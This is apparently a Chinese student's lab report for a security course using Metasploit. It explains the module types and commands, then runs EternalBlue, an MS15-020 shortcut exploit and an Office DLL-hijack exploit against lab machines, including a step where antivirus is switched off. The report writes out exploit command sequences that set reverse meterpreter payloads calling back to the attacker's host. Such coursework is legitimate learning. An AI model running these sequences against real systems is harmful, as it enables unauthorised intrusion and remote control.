一.原理与实践说明
1.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,如ms08-067; (1分)
- 一个针对浏览器的攻击,如ms11-050;(1分)
- 一个针对客户端的攻击,如Adobe;(1分)
- 成功应用任何一个辅助模块。(0.5分) 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.预备知识
一、MSF的六种模块
Exploit
模块- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
Payload
模块- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder
模块- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- 不改变payload作用,但能对payload进行加工
Aux
模块- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
Nops
模块- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
二、MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
:显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
3.基础问题
- 问:用自己的话解释什么是exploit,payload,encode。
- exploit:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
- payload:攻击者在目标系统上执行的一段攻击代码。
- encode:encode编码一是为了消除使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
三、实践内容
主动攻击:ms17_010_eternalblue
浏览器渗透攻击——ms15_020_shortcut_icon_dllloader(唯一)(在这个之前我试了十几个失败的模块,大概是ms17到09的所有适合win7的模块,不出意料的都失败了呢,我恨win7?) 针对客户端的攻击——office_ole_multiple_dll_hijack(唯一) 辅助模块——smb_ms17_010
一、Windows服务渗透攻击——ms17-010安全漏洞
(1)打开msf输入nmap -O -Pn 192.168.1.210
(2)利用auxiliary辅助模块进行扫描:
msf > use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.210msf auxiliary(scanner/smb/smb_ms17_010) > run
再跟扫描我的主机结果对比一下:
可以看出我当前的主机并没有,或者说是已经修复了ms17_010漏洞
(3)根据要求设置并攻击: 输入back退回,然后依次输入:use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.107set RHOST 192.168.1.210exploit
发生了什么??我们看一下靶机:
哦豁,原来是360拦截了攻击,360??!!!
关掉360再看看:嗯丶成功
二、浏览器渗透攻击——ms15_020_shortcut_icon_dllloader(唯一)
首先,在我用这个漏洞完成攻击之前,我尝试了从16到10的三十多个个其他的模块,但是没一个成功的,为什么呢?因为我之前攻击的都是win7的靶机,多次的失败让我开始怀疑人生,怀疑自己是否应该选这门课,直到我拷了一个xp的系统。
感谢XP ,让我重新认清了自己,帮我找回了自信,让我有勇气继续学下去,守护全世界最好的xp ❤?????
- 先来看一下这个模块的描述:
简单看了下,这个模块有点不简单,果断百度翻译:
balabalabala,注意到会生成一个快捷方式文件,我们需要让这个lnk在靶机运行- 打开msf,依次输入:
use windows/browser/ms15_020_shortcut_icon_dlloaderset payloadwindows/meterpreter/reverse_httpset srvhost 192.168.1.107set lhost 5314run
然后把生成的lnk拷过去,运行:
攻击机回连成功,输入
sessions -i 1
获取对话:三、针对客户端的攻击,如Adobe(并不是哦,我采用的是针对Office的攻击
office_ole_multiple_dll_hijack
(唯一))首先 我们使用
windows/file/format/office_ole_multiple_dll_hijack
模块并设置载荷
是一个很简单的模块呢,只要设置载荷的参数就ok了,很适合我这么懒的人
run,发现它blingbling的跑了很多行,创建了好多东西
进入生成的目录中看到有两个文件夹,x86和x64,保险起见全部copy到靶机上
- 从靶机查看文件夹,里面有好多个可以通过Office打开的文件,一个个试过去
哦豁
攻击成功
四、成功应用任何一个辅助模块
四、心得与体会
我们当前阶段使用的模块都是先人发现了漏洞并只做好了的,单纯的调用一下而已,并且只对于比较旧版本的系统和应用有效,想用于实战的话我们还需要加强对受害者的分析以及攻击方式方面的学习。
本次实验我最大的体会就是“一把锁配一把钥匙”,系统和软件就像是锁里的两层锁芯,不同的版本能有许多种组合,所以攻击模块的选择至关重要,而当你尝试了很多钥匙都没办法开锁成功时,不妨考虑下换个锁(笑),在实战中,当我们面对一个完全未知、难以攻击的目标时,换个思路,让目标变为已知的、可攻击的,也是一个可行的选择。